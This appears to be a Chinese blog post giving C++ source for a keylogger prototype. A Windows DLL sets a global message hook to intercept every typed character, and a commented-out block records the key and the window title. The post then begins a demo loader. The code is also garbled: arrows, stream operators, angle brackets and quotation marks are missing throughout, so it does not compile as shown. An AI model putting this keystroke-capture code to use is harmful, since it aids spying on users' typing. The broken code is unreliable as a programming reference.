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一个类似键盘记录程序的雏形
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include stdafx.h
#includeWindows.h
#includeiostream
using namespace std;
HHOOK g_Hook=nullptr;
HINSTANCE g_Instance=nullptr;
LRESULT CALLBACK MsgHookProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(HC_ACTION==nCode)
{
PMSG pMsg=(PMSG)lParam;
if(WM_CHAR==pMsg-message)
{
char szKey=pMsg-wParam;
//coutszKeyendl;
//它本身没有窗口
MessageBox(nullptr,TEXT(你按下了一个键),TEXT(哈哈哈),MB_OK);
/*
if(szKey=32 szKey=126)
{
char szWindowName[MAXBYTE]={0};
char szDebug[MAXBYTE]={0};
GetWindowText(pMsg-hwnd,LPWSTR(szWindowName),MAXBYTE);
sprintf_s(szDebug,窗口名:%s接收到了一个:%c,szWindowName,szKey);
OutputDebugString(LPCWSTR(szDebug));//输出日志
}
*/
}
}
return CallNextHookEx(g_Hook,nCode,wParam,lParam);
}
externC
_declspec(dllexport) BOOL StartHook()
{
g_Hook=SetWindowsHookEx(WH_GETMESSAGE,MsgHookProc,g_Instance,NULL);
if(nullptr==g_Hook)
{
SetLastError(GetLastError());
return FALSE;
}
return TRUE;
}
BOOL UnHook()
{
if(g_Hook)
{
return UnhookWindowsHookEx(g_Hook);
}
return FALSE;
}
//------------------------------------------------
//dll其实也是有main函数的(main表示入口函数)
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH://当DLL被夹在乳进程时触发
g_Instance=hModule;
break;
case DLL_THREAD_ATTACH://当DLL被线程运行时触发
case DLL_THREAD_DETACH://当DLL被线程运行完成时触发
case DLL_PROCESS_DETACH://当DLL从进程中剥离时触发
UnHook();
break;
}
return TRUE;
}
以上代码是下面的这个程序将要用到的动态链库的源代码
// SetWinddowHookExDemo.cpp : 定义控制台应用程序的入口点。
//
#include stdafx.h
#includeWindows.h
#includeiostream
using namespace std;
/*
HHOOK g_Hook=nullptr;
LRESULT CALLBACK MsgHookProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(HC_ACTION==nCode)
{
PMSG pMsg=(PMSG)lParam;
if(WM_CHAR==pMsg-message)
{
char szKey=pMsg-wParam;
coutszKeyendl;
}
}
return CallNextHookEx(g_Hook,nCode,wParam,lParam);
}
*/
/
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